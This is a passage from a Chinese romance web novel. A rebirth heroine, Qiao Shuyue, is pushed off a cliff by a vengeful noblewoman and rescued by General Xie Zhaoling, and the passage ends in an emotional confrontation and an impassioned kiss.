谢昭凌目光顿时凌厉起来。 他眸子轻抬,不言不语,手中的茶盏缓缓搁在桌上。手撑着头,眸光锐利,盯着郑丰南的脸瞧。 “我说过,莫要用她来威胁我。” 郑丰南连连摆手,告饶道:“将军如今当真是气势逼人,小民实怕得很。说这事也不是要威胁将军,只是……谢将军,我们可以不做敌人的。” “将军不会不知,您在边关拔了我们多少眼线和暗桩。将军慧眼如炬,西羌遭受重创,连带着我们也被上头责骂。” 谢昭凌冷淡地勾了勾唇。 他也是到那边才发现,柳家竟私下里通敌叛国。 郑丰南似看出他所想,又赶忙撇清关系:“谢将军可真是错怪了,柳家上下都与陛下是一条心,是站在二皇子这头的。” “我知道,只有你的主子通敌。” 郑丰南朗声大笑,丝毫不觉得叛国可耻,恍然大悟道:“难怪将军知晓了这密辛,却不上报,私自瞒下了,原来只是想针对我主子,捏着我们的把柄,自然无所畏惧。” 谢昭凌对他的揣测不置可否。 他的确没有什么忠君爱国的心,但也不是那种一有点别人的把柄就会沾沾自喜,恨不得向天下人揭露罪行的人。 他只是想将手里的消息都能最大程度地利用,那些事还不到时机揭穿,他自然会闭口不言。 况且柳家与乔家是仇敌,柳家对小菩萨做过的那些事,他可没忘。 那位柳家三爷,他自回京以后,便一直想会一会。他捏着他们的把柄,他们果然主动找上了门。 郑丰南勾起唇,摊手道:“你看,你知道我们许多秘密,那个密道不就是你捅出去的吗?我呢,手里也有将军的一些旧事的线索,不若我们合作,你看如何?” “……” “这两年,受国师的蛊惑,皇帝是越来越糊涂了。将军在边关应该深有体会吧?纵容那帮贪官污吏贪了军饷,又克扣军粮,边关的将士们不知受了不少苦。若无小谢将军用兵如神,诡谲难测,在短短时间便痛击了异族,只怕这场仗还不知要拖几个冬天。” 谢昭凌没理会他的煽动,淡声道:“若无柳三爷安置的细作里应外合,将士的牺牲还能再少上一些。” 郑丰南笑意未减,由衷感慨:“所以说,谢将军真乃奇才也。” 当初在京城就破坏了他们不少计划,后来人到了边关,干脆将他们的整个阵地给一锅端了。 做不了上下属,做同僚也是极好的。 “听闻将军在边关受了重伤,在下这儿有些灵药,是南黎部落炼制的秘药,化腐生肌是一绝,将军可以找人一试。” …… 一个时辰后,郑丰南从将军府离开。 谢昭凌坐在位上,对着那盏已经凉了的茶深思许久。 日前才收到探子从梧县送回来的密信。 信上的内容竟与郑丰南示好而提供的线索相差无几。 那名俘虏叫了他从前的名字,还供出一些细节。俘虏声称知道养父是从何处捡到的他。 其实根本不是捡来,而是从一个民间巫医手里买回去的。 谢昭凌循着线索一路探查,派人去了当地的小医馆,得知当年卖他的巫医早几年便过世了。 后来探子寻到那位巫医的后人,翻找出一本手札,证实了俘虏所言非虚。 当初并无人将他遗弃,是有一男子带着他到医馆看病,巫医起了歹意,将他转卖,再回头同那男子说,孩子被人夺走,自己一介医士,阻拦不得。 那男子竟半分都没怀疑,信以为真,匆匆去寻。 男子就此离开,过了几月几年都没回来,巫医便彻底放下心。 那个带着他的人究竟是何人?是否就是他的生父? 为何只有一男人带着他,他的生母又去了何方?可还活着? 从前他无所谓查清自己的身世。 如今却因为担忧不被乔父承认,不愿再做个来路不明的人,也开始对自己的来历执着起来。 谢昭凌派探子去梧县,去李村,是因为要探查他自己的身世。 郑丰南为何也会派人去梧县去探查他的来历? 难道只为了以此做饵,引他入局共谋大事吗。 他看向郑丰南留在桌上的那瓶药。 南黎部落的秘药…… 谢昭凌叫来管家,问道:“一直给乔家看诊的吴大夫,他的医馆如今还开在原处吗?” 管家还未答,院里有一人踏入,声音远远传来—— “吴叔的医馆没搬,只是他近来不常在京中。” 乔誉缓步入了厅堂,目光清澄,“他在研制新药,药材长在城外安济寺附近的山上,他只有每月固定的月初五日会在城中会诊,其余时间都在城外的山上。” 他看了一眼男人手里那瓶药,说道:“你若要寻他,只能明日早起上山了。” 谢昭凌将药瓶揣入怀中。 管家是褚氏老人,自然认得乔誉,笑着唤了声四公子,便退下去。 房中再无他人,乔誉抱起肩膀,质问道:“你与月儿又在密谋什么?” 谢昭凌一愣,不解:“什么?” 乔誉也愣住,“你不知?她没同你商议吗?” 谢昭凌紧抿着唇,目光沉沉看着他。 乔誉顿时笑了,抚掌言道:“原来你也被排除在外了啊。” 谢昭凌:“……” “哦对了,我应该去问问林察,兴许人家清楚呢。” 乔誉说完,转身往外。他故意走慢几步,左脚迈过门槛,身后还没传来声音。 乔誉拧着眉,收回左腿,回头望去。 男人不知何时坐了回去,手撑着腮,目光落在虚空一点,若有所思,不知在想什么。 从他的神情里,全然看不出半点恼羞成怒或是拈酸吃醋。 人家似乎完全没将他的话听进耳朵里。 那日在府上,明明还挺管用的啊。 乔誉没忍住道:“我说,你这么沉得住气?” 谢昭凌回神,“你指什么?她瞒着我?” “她最近行迹鬼祟,不知又憋着什么主意,我以为她会同你商量。” 毕竟这俩人当年什么坏事都一起做,有了秘密也只和对方分享。 哥哥到底比不过心上人。 谢昭凌“唔”了一声,“无妨。” 约莫又是因为预知梦,等明日去找她问一问便知。 她不说,定是还不到时候。若需要他的援手,她一定会说,不会硬抗。 乔誉看不过他一副风轻云淡的模样,故意刺激他:“哪怕她与林察来往,你也无妨?” 谢昭凌轻笑了声,漫不经心道:“四公子,挑拨离间的事实在不适合你。” 乔誉:“……” 他深吸了口气,认命道:“我没想到,你这般自负。” “你错了,我不是自负,我只是足够相信她。” 哪怕乔姝月故意激他,确实令他焦躁不安,可他也只是因为惹她生气才会无措懊恼,并不是认为她当真与旁人生了情意。 这点信任他还是有的。 想起吻上她时,她在自己怀里瑟缩的模样…… 谢昭凌嘴角扬起一抹笑,起身走到乔誉跟前。 “四公子该对妹妹多一些信任,她不会做无用之事,放心好了。” 乔誉:“……” 他不怕她做无用之事,只怕她又做能把这京城搅动得天翻地覆的事。 “你俩安分一些,我也能省点心。”乔誉额角突突跳着,忍无可忍道,“别总让我给你们收拾烂摊子!” “四哥,我们尽量。” 乔誉:“……” 叫了比自己还小的人“四哥”,谢昭凌没有半分不适,不知乔誉有没有被恶心得睡不着,反正他是一夜好梦。 等到次日天明,他揣上那瓶秘药,牵着马,往城外去。 此刻的乔府外,乔姝月坐上马车,也驶离了京城。 乔姝月惦记着谢昭凌的伤势,想去找吴大夫问问情况,若是可以,想请吴大夫去将军府会诊。 结果马车才刚到山脚,便出了事。 第63章 【63】 柳家大夫人楚氏早年丧夫,与独子相依为命,宠儿无度,将柳步亭溺爱成了娇纵跋扈、目无法度的性子。 自柳步亭亡故,楚氏就疯了。 “听闻她的疯病愈发严重,前些日子竟将一婢女打死。” “婢女?可是签了死契的?” 签了死契的,生死不问。 可那种只签了固定期限生契的侍从与婢女,都是良民,不入贱籍,若无大错,不触犯律法,主家也没有定人生死的资格。 玉竹摇头晃脑,幸灾乐祸道:“这事能闹大传出来,自然不是贱籍。” 乔姝月沉默下去。 她笑不出来,那毕竟是一条人命。 前世柳步亭一直逍遥到最后,大夫人未经丧子之痛,没听说过犯过疯病。 乔姝月不清楚前世柳氏一族是如何土崩瓦解的,明明大夫人出身楚国公府,而楚氏手中是握有军权的。朝堂的事她实在够不着,她只能顾自己眼前的这些琐碎小事。 刘妈妈也跟着叹了声:“我也听人说,大夫人打死了人,是因那婢子颇有几分姿色,像……” 玉竹没忍住插话:“有姿色怎么了?她不是寡居吗?” 丈夫早十年就死了,婢女就算有姿色,也犯不到她头上吧。 玉竹小嘴不听,接着又说道:“二爷成亲以后未分府另住,也在柳府,可二夫人是京中有名的强悍角色,若二爷真有偷腥的心,二夫人哪忍得住不收拾他?有二夫人在,轮不到大夫人来管。至于柳三爷……” 玉竹回忆道:“三爷近年来一直在外游历,听说他三十几了从未娶过亲,若真有婢女能为其诞育子嗣,也不算坏事。” 她瞪大了眼,错愕道:“总不会是大夫人看上了小叔子,拈酸吃醋了?” 刘妈妈抬手敲了一下她脑袋,看傻子一样的眼神,斥道:“不让人把话说完,每次都插话。” 玉竹缩了缩脖子,扁着嘴不吱声。 刘妈妈觑一眼主子凝重的神情,却不再开口。 玉竹忍着冲动,耐心等了会,没等来后续,又闹道:“倒是接着说啊!” 刘妈妈横她一眼,不言语。 乔姝月叹了口气,无奈道:“约摸是长得像我吧。” 前世她抵死反抗柳步亭,柳步亭在她这儿吃了亏,就会将怒火发泄到五官有几分她的神韵的婢女身上。 这一世柳步亭早早死了,没有机会祸害旁人,却又多了个大夫人。 那对母子当真是一脉相承。 玉竹诧异地张大了嘴。 刘妈妈懊恼道:“都怪老奴,不该提这事。” “真的像吗?”玉竹害怕道,“若真如此,那她对咱们姑娘真是恨之入骨了,姑娘,她会不会对您做什么啊?” 刘妈妈道:“呸呸呸,乌鸦嘴,莫要胡言!” 玉竹赶忙拍了拍自己的嘴巴,“童言无忌,童言无忌。” 乔姝月好笑道:“你都多大了,还童言?没事,光天化日她能如何?再者,我寻常不出门,她总不至于跑到我院子里害我。” 马车慢慢悠悠,逐渐停了。 刘妈妈撩起门帘,扶着乔姝月下去。 玉竹那句“今日不就出门了”在嘴里绕了几圈,终是没讲出口,咽了回去。 吴大夫的医堂设在半山腰,原先属寺庙的地盘,因吴大夫与老方丈有旧,便将那小院子腾给他暂住。 安济寺与吴大夫的居所毗邻,因此她们一路上山时,能遇到三三两两拜完佛后下山的香客。 乔姝月本想抄近路上山,那条路遇到的人少些。 可前日夜间落过雨,山路上有积水,土路泥泞,没走几步便会弄脏鞋袜,想想便作罢了。 很快,乔姝月便后悔自己没有走近路。 她与刘妈妈玉竹三人被人围困住,上下的路皆被堵死。 山路蜿蜒,两旁是山石,而拐弯处,背后是悬崖。 乔姝月眉目沉静,端庄行礼,嗓音轻柔:“见过大夫人。” 面前的妇人步步靠近,停在她一丈前。 高颧骨,吊眼梢,细而狭长的眼中尽是怒火。 柳大夫人楚氏那张狰狞的面容赫然在目。 楚氏咬牙切齿:“乔姑娘,真是好久不见。” 乔姝月微顿,恭顺地垂下眼睛。 上回见,还是在公堂之上。 柳氏宣称小少爷的死与乔姝月有关,然魏王府的证词早有十数家夫人都能作证,说她是独自一人离去,往西边去,乔府正好就在西边。 魏王府本就受君王忌惮,此次回京不敢大张旗鼓多生事端,众目睽睽之下,他们不敢改口。 当初受柳步亭胁迫,魏王府不得已助纣为虐,后来事情败露,他们自然巴不得把自己摘干净,断断不肯再搅合在里头。 柳家那几个知情的人都是柳步亭的心腹,可他们空口无凭,没有证据。且他们若要供出真相,势必要牵连上魏王府。 魏王府抵死不认,非说没见过柳家小少爷,乔姝月的离去更和柳氏无关,变相地为乔姝月作证,让柳氏一筹莫展。 现场没一点打斗痕迹,人究竟是死是活,一时间都没有定数。 后来僵持太久,这案子只能以失踪暂结,毕竟乔姝月一个小姑娘,没能力将柳步亭藏起来,不能定罪,不能扣押。 可有柳氏权势压着,京兆府不敢敷衍了事,仔仔细细地将西京城翻了个底朝天,也没找到人。 后来还是悦泉楼的东家打开了密道,寻到了一具白骨,才终于让这个案子盖棺定论。 但事情过去太久,真凶是谁早已无迹可寻,案子成了悬案,柳氏只能硬吃了这个哑巴亏。 大夫人心里到底记恨上了乔姝月,不管有无证据,她都打定主意认定了乔姝月就是真凶。 每每想起,都恨不得啖其血肉,将其碎尸万段。 楚氏冷笑着要往前,身旁的嬷嬷担忧地拉住她的胳膊,劝道:“夫人,出出气便罢了,如今乔氏不比从前,咱们可千万不能再沾惹上人命官司。” “等三爷回来了,定能为咱们做主,咱们万不可再轻举妄动啊!” 旁人便罢了,这位可是乔氏唯一的千金。 楚氏听不进去劝,抬肘便将嬷嬷甩开,气势汹汹就要往前去。 刘妈妈和玉竹将主子护在身后。 李护卫在山脚下守着马车,只她们二人陪主子上山。 眼下这般,恐难安然脱身。 楚氏疾言厉色道:“当初我儿就是被你害得,落得个死不瞑目。” “凭什么你能活到及笄,我儿却活不到成年?凭什么你无罪!分明就是你做的!” 楚氏说着说着,浑身发起抖来,扑上去和人撕扯在一起,凄厉尖叫:“我要你给我儿偿命!!” 楚氏忽然发了疯,她病犯得突然,力大如牛,气势骇人。 刘妈妈和玉竹猝不及防被人冲撞飞出去,重重摔倒在一旁,只感觉手臂和肋骨都要折了,半晌爬不起身。 乔姝月从袖中摸出一把防身用的匕首,对着楚氏,毫无惧色。 “大夫人,请自重!” 见对方不管不顾朝自己冲来,她咬咬牙,抬手一挥。 匕首划过楚氏脸颊,立马出了血痕。 而楚氏似察觉不到痛一般,亦伸手一抓,不等人反应,揪着乔姝月的领子,抬手就是一巴掌。 清脆的声音响彻山谷,乔姝月被打偏了脸,瞬间泛起红肿。 她攥着匕首,手颤抖着,脑海中忽得复现前世被柳氏折磨的记忆。 身体里的惧意被激发,大脑一片空白。她惨白了脸色,下意识后退两步,可她身后并无遮挡。她想往旁边逃去,可楚氏抓着她,让她挣脱不得。 楚氏急红了眼,掐着她的脖子要把人扼死。 乔姝月再次挥刃,扎在楚氏的胳膊上。 鲜血很快渗了出来,楚氏无动于衷,双眼充血通红,力大无比,受伤的那只手反握匕首,将其夺走,扔了出去。 利刃割破手掌,血肉翻飞,楚氏狰狞着面容,尖叫一声,继续朝往外逃的乔姝月猛扑。 她心中执念甚深,哪怕是死,她也要将乔姝月弄死。 柳氏众人一见皆变了脸色。 今日她们见楚氏难得神志清醒,便应了她要出来散心的请求。 想着山上人少,不至于刺激到她,便带着她来寺庙祈福。不曾想一切顺利,在下山时突遭变故。 一众人再冲上来之时,楚氏已经将乔姝月推了下去。 “姑娘——!!” 玉竹忍着浑身的剧痛,咬牙爬起身,撕心裂肺地急声呼唤。 原本拦着乔姝月一行人的一众护卫婢女一窝蜂都朝自己主子扑去。 他们应对发疯的楚氏显然经验丰富,知道处于失控状态的楚氏单凭两三个人是难以制住的,因此也不吝啬在她身上使用力气。 嬷嬷抱着楚氏的腰,恳求道:“夫人,扇几巴掌泄泄火便算了,怎能置人于死地啊!” 近来柳氏一族因为大夫人犯疯病一事,被贵妃娘娘训斥了好几次,言说再这般闹下去,惹得陛下厌烦,到时候柳氏一族失了圣心事小,影响到二皇子的前程事就大了。 贵妃娘娘勒令他们约束己身,绝不可再胡来。 柳司空素来不理后宅事,那日也发话,让大夫人交出中馈,由二夫人暂理。 自小少爷亡故后,大房没有男丁,只剩大夫人一人勉强撑着。如今成了这疯疯癫癫的样子,再无昔日的风光与招摇。 “快!快去救人!” 嬷嬷拼死抱着楚氏。 可她才一松劲儿,楚氏便大叫着又要冲上去。 他们今日也没带太多人出门,若是分出去人帮忙,犯了疯病的主子便更难压住。 乔姝月双手死死扒在山边凸出的岩石上,身体悬在半空,整个人垂荡在山谷间。 胸腔的气体被不断挤压,每一次呼吸胸口都会隐约感觉到一丝疼痛。 她没什么力气,没多久手臂便脱力,开始颤抖。力量在流失,强烈的求生本能驱赶了恐惧与绝望。 她不甘心就这么死去。 她似感受不到疼痛一般,冷静地将指甲嵌入石缝之中,而后缓缓呼气,低下头去,寻找脚下有无踩踏的地方。 没有再看到凸出来的石头,便只能将自己的脚抵在岩壁上,试图减少身体下坠的力道,她紧咬牙关,努力维持自己的身体平衡,保存体力。 玉竹在她上方啜泣,哭着抓住她的手臂,用力把她往上拉,“姑娘,坚持一下,奴婢拉您上来。” 手腕在地上摩擦,很快便磨破了皮。 柳氏一护卫被嬷嬷点名,去捞悬在山间的乔姝月,才刚一动,楚氏便又要挣脱桎梏。 嬷嬷只得让护卫又回来,钳制住处于失控状态毫无理智的楚氏。 而后只听玉竹悲痛地惨叫了一声:“姑娘!!” 嬷嬷眼角一跳,抻直脖子去看,竟见人掉了下去!她心中一凉,再顾不上其他,让人将楚氏打晕,忙不迭地带着众人逃了。 乔姝月没了力气,身子如断线的风筝,直直往下落去。她唇畔溢出一抹苦笑,认命般,微合上双眼。 变故在此刻突发。 未等她闭目,腕间缠上来一条绸带。 与此同时,耳畔落下一声重重的呼唤:“谢护卫!!” 乔姝月心头一跳,而后只听得一阵风声掠过—— 腕间绸带收紧,将她拉住。她下坠的力道被人拦住,整个人冲势猛得一停,身子在山谷间不受控地摇晃。 只一眨眼的功夫,她眼前的景色飞速变换。 她感受到整个人被一股大力拽着,迅速往上移,很快腕间握上来一个宽厚有力的大掌。 乔姝月恍惚间抬头,见到自己上方悬着的男人。 千钧一发之际,谢昭凌从天而降。 他同样吊在山间,一手抓着石头,另一手拽着她。 他的外袍随风飞舞,露出内部干净的里衣。 原来方才拴在自己腕子上的,竟是他的腰带。 也是直到这时,乔姝月才见识到他力气有多大。 从前只听陛下在战场上如何神勇,从无机会一睹风采。如今见了,只觉得那些传言都远远不够。 只几息功夫,他便将她提到身前。 “手脚都缠抱着我。” 沙哑的男声落在她耳畔。 乔姝月照做,两只脚努力抬高,勾住他,一手紧紧揽住他。 手腕上的那只手改为揽在她的腰间。 箍着她的那条手臂如铁一般强硬,他把人往上托了托,让她的腿能勾着自己的腰。 双腿能用力能活动,他不再迟疑,手抱着她,一提气便踩着崖壁飞了上去。 瞬息间,风迅速从脸侧刮过,耳边尽是山间呜咽的呼啸声。 她缩在他怀里,而他的衣袍被吹动得裹在她身上。 很快,乔姝月脚下踩到了坚实的土地。 一切发生得太快,她双腿发软,眼前阵阵发黑,向前栽去。 婢女喜极而泣痛哭的声音都逐渐模糊。 搂着她的手臂从未远离。 男人顺着力道往后倒,怀抱着她,坐在地上。他用力收紧了双臂,将人死死扣在怀里。 乔姝月感受到他紊乱的呼吸,以及不住起伏的胸腔,知道他定是担忧极了。 她长舒了口气,头埋在他怀里,亦平复着急促跳动的呼吸。 耳畔是男人压抑又痛苦的喘息声,乔姝月高抬了手臂,圈住他的脖子,与他交颈相拥。 左边脸颊肿着,蹭上去时,她疼得呼吸声颤了颤。 谢昭凌身子微僵,侧过头来,看到她脸上的伤,眸光愈发晦暗。咬了咬牙,到底什么都没问。 他的手臂在颤抖,不是因为脱力,而是因为害怕。 抱着她的力道愈发地紧。 偏过头去,不受控地在她耳后落下一吻。 乔姝月身子抖了下,却没躲开,又往他怀里靠了靠。 两人谁都没说话,安静地相拥。 半晌,乔姝月将人推开。 她收回环抱他的一双手臂,低下头,看向掌心那抹黏腻。 是血,透过的他的衣裳,沾到了她手心。鲜红的液体在她的掌心,十分刺目。 乔姝月怔怔望着,许久没有动。 谢昭凌对血迹视若无睹,他捉住她的手,盯着她手腕上的擦伤,目光阴沉。 他心想着,不将柳氏一族满门全灭,难消他心头的火气。 乔姝月抽回了手,淡声道:“我没力气了,你扶我上去。” 吴大夫在山上,他需要去重新包扎伤口。 谢昭凌迟疑地望向她,手掌小心翼翼贴上她没受伤的那侧脸。手指轻轻摩挲了下,低声解释:“许是方才力道大——” “上去吧。”她打断道,“你不扶,我叫旁人。” 说着挣扎着起身,就要去招呼玉竹。 谢昭凌将她拉回怀里,一把将人打横抱了起来。 迈步往山上走。 危在旦夕,绝处逢生。以为她会哭,可是她没有。 事发至此刻,她没有掉过一滴眼泪。 谢昭凌瞬间拧紧了眉。 第64章 【64】 吴大夫刚收拾完药箱,准备上山采药。 才走到门口,就见谢昭凌朝这边走来。 吴大夫捋着小胡子,笑道:“怎么又回来了?还有事?” 离得近了,看到他身后跟着的少女,也看到了他胸口那一团暗色。 吴大夫的笑容慢慢消失,盯着他被血染透的前襟,脸色沉得吓人。 “……” 吴大夫还和当年一样,见不得病患糟践自己的身子。他把人劈头盖脸一通骂,手底下的动作却轻得不能再轻。 他骂累了,便不再开口,沉默地处理完棘手的伤口,换完药,拎着箱子走了。 乔姝月等在门口,见人出来,忙福了福身。 “吴叔,今日多谢您。” 吴大夫目光复杂,盯着她看了半晌,幽幽叹了口气。 “你们俩啊,真不叫人省心。” 方才谢昭凌脱下衣裳,要重新处理伤口,乔姝月说什么都不肯出去。谢昭凌无可奈何,便让她留下看了。 等原先的纱布揭开,屋中陷入难熬的寂静。 吴大夫痛骂时,乔姝月一声不吭。等涂了药,重新包扎时,乔姝月扭头往外走。 谢昭凌要去追,被吴大夫大力按住。 老头吹胡子瞪眼,威胁道:“你现在追出去,信不信她这辈子都不想理你了?!” 谢昭凌犹豫了下,到底坐回去,只催促着快些。 见过伤处,乔姝月便出了门。 她心口堵得慌,诸多情绪都积在一处,始终没能找到宣泄的出口。 此刻吴大夫意味深长的话,倒是叫她的三魂七魄回来了一些。 吴大夫叹道:“他这些年,实在太苦。” 小时候那一身旧伤,昭示着他凄惨漫长的被苛待的童年。后来上了战场,每一日更是如履薄冰,生死攸关。 这一生最顺遂的,唯有在她身边的那两年。 “当初你带人来医馆,我便知道他在你心中必不寻常。往事历历在目,这些年老夫看得分明。” 吴大夫早就瞧出两人之间的猫腻,劝道:“你是老夫看着长大的,早慧机敏,心性坚韧,极少见你这般慌乱。” 吴大夫叹了口气,他不知谢昭凌是为了救人,生死攸关,形势紧迫,他只以为是谢昭凌又胡来了。 “你们之间的事,老夫本不想插手。但他这样作践自己的身子,往后还不知有多少年好活,有话就好好说吧,莫要浪费大把光阴,等真分开了,又追悔莫及。” 这句话深深触动了乔姝月心底最敏感脆弱的那根弦。 前世相处不过三载,有将近一半的时间,他们都未能说明心意,未能完全接纳彼此。 因而直到她病重时,每一日都在后悔,为何不早一点答应他。 这一次是为了救她,才导致伤口崩裂。 她实在不该因此怪罪迁怒于他。 他又一次救了自己的性命,她该感激才对,不该待他冷脸。 只是见他伤成那样,她方寸大乱,自己都不知该如何是好。 她不由得想,若是她早点掉下去摔死了,他是不是就不会像现在这样狼狈。 念头才起,她就掐灭。 她知道,若是那样,谢昭凌一辈子都不会原谅自己。他定会痛恨,自己为何没早一步赶到。 就像前世那样…… 他提早归来,却只能来得及见到她咽气。 还不如她早点死了,也好过他直面失去的痛苦。 那最后一面,她什么回应都没能给。 没能给他一个拥抱,没能恭贺他凯旋,没能给他一个亲吻。 莫说这些,她甚至没能看他一眼,同他说一声道别。 不知前世陛下后来如何度过那漫漫人生。 一想到这些,乔姝月便心痛得无法呼吸。 待她回神,吴大夫不知什么时候离开。 她也没再站在门口,而是被人拉进了房间。 房门紧闭,屋中只有他们二人。 乔姝月茫然抬眸,只见男人赤着上身,手撑在她身侧,眸光专注,正俯身看着她。 而她自己,坐在床榻上,背后是墙壁,身前是他。 男子的气息强势地将她包裹其中,令她无处可逃。 她别过头去,恰好把伤脸露了出来。 发烫的面颊上忽然沾上一抹凉意。 下巴被男人捏着抬起,他低下头,将药膏轻柔地涂抹在她的脸上。 乔姝月情不自禁闭上了眼睛。 鼻腔里尽是药膏的味道,仔细辨别,还有男人身上散发的干净的清凛气息。 他哑声问:“是柳氏的大夫人做的?” 乔姝月低低地回:“嗯。” 谢昭凌指节一顿,说道:“郑丰南昨日找到我,给了我一盒南黎秘药,我今日上山来请吴大夫看一看。” 乔姝月诧异地睁开双目,“是你原先提过的那个悦泉楼的东家?” 那人销声匿迹许久,竟再次露面了? 那人是谢昭凌前世的贵人,随着谢昭凌的回京,那人也再度出现…… 乔姝月不由得往深想去。 谢昭凌观察着她的神情,一颗心直直坠下去。 凶险的事才刚过去,她竟能迅速从危机中脱离了情绪。 不论是惶恐不安,还是惊惧害怕,她都没表现出来分毫。 要么是她一直在压抑自己,不肯在他面前展露脆弱。 要么便是她没将此事入心,她早已习惯面对这种危急时刻。 无论是哪种,都会叫谢昭凌的心如烈火烹,煎熬与痛苦化为实质,如藤蔓般,缠着他的心脏,在他心壁上蜿蜒攀爬,枝条密密实实将心脏包裹,让人窒息。 他离开三年,究竟错过了多少事。 “不害怕吗?” 他话题跳脱,乔姝月艰难地从思索中抽身,神情还有些懵懂。 她愣了愣,“害怕?” 脸颊一痛,是男人手指轻轻碰了伤处一下。 乔姝月迎着他幽邃的目光,“怕。” 怎能不怕呢? 前世父兄接连出事,乔氏被抄家,母亲死在自己面前,狱中的老鼠日夜啃食着她散落在地上的残羹剩饭,还有被柳步亭封死的唯一一扇窗。 一桩一件,无一不让人绝望。 可她早已习惯了啊。 她在折磨中流干了眼泪,早就学不会因疼痛而哭泣。 后来的眼泪都是因为谢昭凌而落的。 如今也是。 她可以在险境中坚韧生长,冷静地寻找出路,却无法坦然面对他所遭受的痛苦。 想必他也是如此。 他们分开时,各自都是能拿起武器对抗敌人的战士。 在一起时,是可以背靠着背,依靠彼此,互相舔舐伤口的亲密爱人。 她说:“我不会哭的。” 谢昭凌呼吸一滞,艰涩道:“为何?” 乔姝月垂下眼睛,“没有缘由。” 被敌人折磨而流下的眼泪,只会让她回忆起最痛苦的那段时日,想起自己面对二哥为护她而死、阿娘被人一卷草席抬走时的无力感。 想起暗无天日的地牢里,鞋上爬过老鼠时那让人脊背发凉的绝望感。 所以与他无关的眼泪,都不需要再流。 “那你可知,我为何怎样都不肯让你看伤吗?” 谢昭凌此刻如一张绷紧的弓,看向她的目光充满攻击性,连逼问的语气都凌厉,带了几分凶。 “我怕你会哭,会害怕,所以一直不肯坦诚。你一再逼迫,我最终拗不过你,也任你看了。” “可你呢?你此刻这般轻描淡写,你……”谢昭凌扔了药膏,手扣住她的后脑,压抑道,“你可知推己及人的道理?难道我会乐见于你这副平静又泰然的模样?!” 他轻轻牵起她的手,双目微红,看着她伤痕累累的十指与手腕。 “疼为何不哭?为何不向我诉苦?难不成是你习惯了这些?这也是梦中有过的吗?不出你所料,所以你就坦然面对了?你的怨恨我看不到,委屈也没有,看你这般受苦,你叫我如何能平静?” “你说没有缘由,何尝不是搪塞我?你我都心知肚明,只是不愿让彼此忧心牵挂罢了。你气我怨我,说要惩罚我。那我此刻是不是也该惩罚你?” 他的一条腿将她分开,挤进她腿间,单膝抵在榻上,将她困在逼仄的床尾。 滚烫的掌心贴合在她的后颈上。 手掌按着,把人往自己怀中带,另一手虎口卡在她的下颌,强迫她抬头。 而他俯下了身去,低下头,将樱唇含入口中。 知她坚强,可她今日坚韧得过分,全然不像一个锦衣玉食长大,不见外界阴险的闺阁女儿。 一想到她可看到未来,谢昭凌心中便生出无尽恐慌来。 她究竟梦里经历过什么,才叫她面对死亡都面不改色? 他们没有一起度过三十岁。 他们之间,有人会在三十岁前死去。 会是她吗? 如此想着,心脏似被一只无形的手用力攥紧。 越是害怕,手上的力道便越大。 吻得也越来越深。 乔姝月无力承受他的怒火。 她呜咽着,抬手要去推。可才一触碰到他的身体,便被他身上的温度给烫得缩了下手指,心脏疯狂跳动起来。 他才上完药,身上衣服还没穿。 指尖下是男人紧实而富有力量感的肌肉,不慎触碰到肌肤上不平的凸起,那是他这些年杀敌刻下的勋章。 想要推开他,却碍于他胸口的重伤,推拒不得,进退维谷。 她缩起手指,无措茫然,无处可落。 最终只能抵在他的髋骨上。 “你别,小心伤唔……” 隔着裤子的边缘,能感受到他的腰身很紧。 腰腹蕴藏着十足的力量,蓄势待发,喷薄欲出。 她手指往外推,却打了滑,不慎顺着裤腰往里探了一指。 卡在她身前的那条腿往前又抵进两寸。 钳制着她下颌的手终于离开,攥住了在他腰间做乱的小手。 “怎么,阿月还想脱我的……” 后面两个字被他淹没在相贴的唇齿间。 乔姝月羞红了脸,红唇中溢出几个带有哭腔的气声。 低喘声破碎可怜,细细软软,勾得人火气更胜。 谢昭凌避开她的伤处,拉着她的手往自己身后带。待她扶稳,才再度捧起她的脸。 男子于这事上,素来无师自通。 更何况他早在梦中演练过数次。 舌尖灵活地将齿关撬开,动作带着几分生涩,却果断毫不迟疑。引起她身子轻抖,随后哽咽一声。 隐忍克制的情绪闸门一旦出现缺口,便一发不可收拾。 他越是深探,越是勾缠,越是掠夺她的呼吸。 她越是难以压抑胸腔中那积攒了许久的酸痛与苦涩。 情绪积蓄得过满,慢慢越过了至高点。 浪波激荡,溅起水花,情绪在碰撞中从容器中溢了出来。 他的攻势太猛,很快窒息感将人淹没。 她终于抑制不住,彻底哭了出来。 这声谢昭凌期盼已久的哭音。 终于叫他如愿以偿。 第85章 【85】 唇齿长久地纠缠,缠绵未歇。 乔姝月恍惚间睁开双眸,面前的男人也一直看着自己。 乌黑的凤眸热意灼人,眸光微动,看得人心头滚烫。 乔姝月心潮汹涌,震耳欲聋的心跳撞击着胸口,万千情愫在这一刻冲破顶峰。情潮如初春化冰的湖水,汩汩而来,愈发汹涌。 原本捏着她后颈的手上移,托住她的后脑。 男人手掌很大,轻而易举便将她掌控。他微微俯身,高大的身躯将她完全笼罩。 捧着她下颚的手松开,渐探至身后,抵在她后背上,稍稍用力,将她往怀里又压了压。 他的双臂环得极紧,将瘦小的少女严丝合缝嵌入怀中,如铁锁一般。 乔姝月感受着他恨不能将自己揉进骨血中的情动,只觉得他浑身的烫得惊人,她的手臂被男人夹在肘下,动弹不得。 她不得已绕过男人劲瘦的腰身,肌肤相贴,羞得她脸颊通红。 他攻势极猛,动作强势,似在宣泄什么情绪。 舌尖自闯入后,便迫不及待地汲取着她口腔中的津i液。 似上瘾一般,反复折磨她的唇瓣,含吮着软嫩的唇肉,衔在口中,仔细品尝。 乔姝月脑子懵懂,满腔被灌进一种酸涩又温暖的情绪。 鼻腔中充斥着他的味道,炙烤般的呼吸近在咫尺,灼烧着她的脸颊,令她通身火热。他吻得专注深入,没给她喘息的机会。 耳畔是男子紊乱的轻喘声,而她自己却寻不到一个换气的出口。 她抬手去推他肩膀,他纹丝不动,仍密不透风地紧紧抱着她。 乔姝月又是气又是羞,一下子又想起前世的陛下来。 初次体验和前世大不相同。 前世她身子不好,他每回碰自己,都十分小心克制,温柔似水,爱怜又珍重,令她沉迷贪恋。 他从来不会这么强硬又大力地待她,磨得她嘴唇麻木,没了知觉。也不会对她的抵抗置若罔闻,只顾一味地侵占她。 他从不会听不进去她的话,不会像现在这样,手臂箍得她这么用力,还把她逼在床尾,让她逃不得。 陛下在这些事上,从来都是温柔克制的,哪像他这般野蛮热情,失控放肆。 不知是因缺气窒息,还是被他攻略得节节败退而生出几分羞恼,一直积压在心头的沉甸甸的负面情绪好似再无阻拦,顷刻间争先恐后地涌了出来。 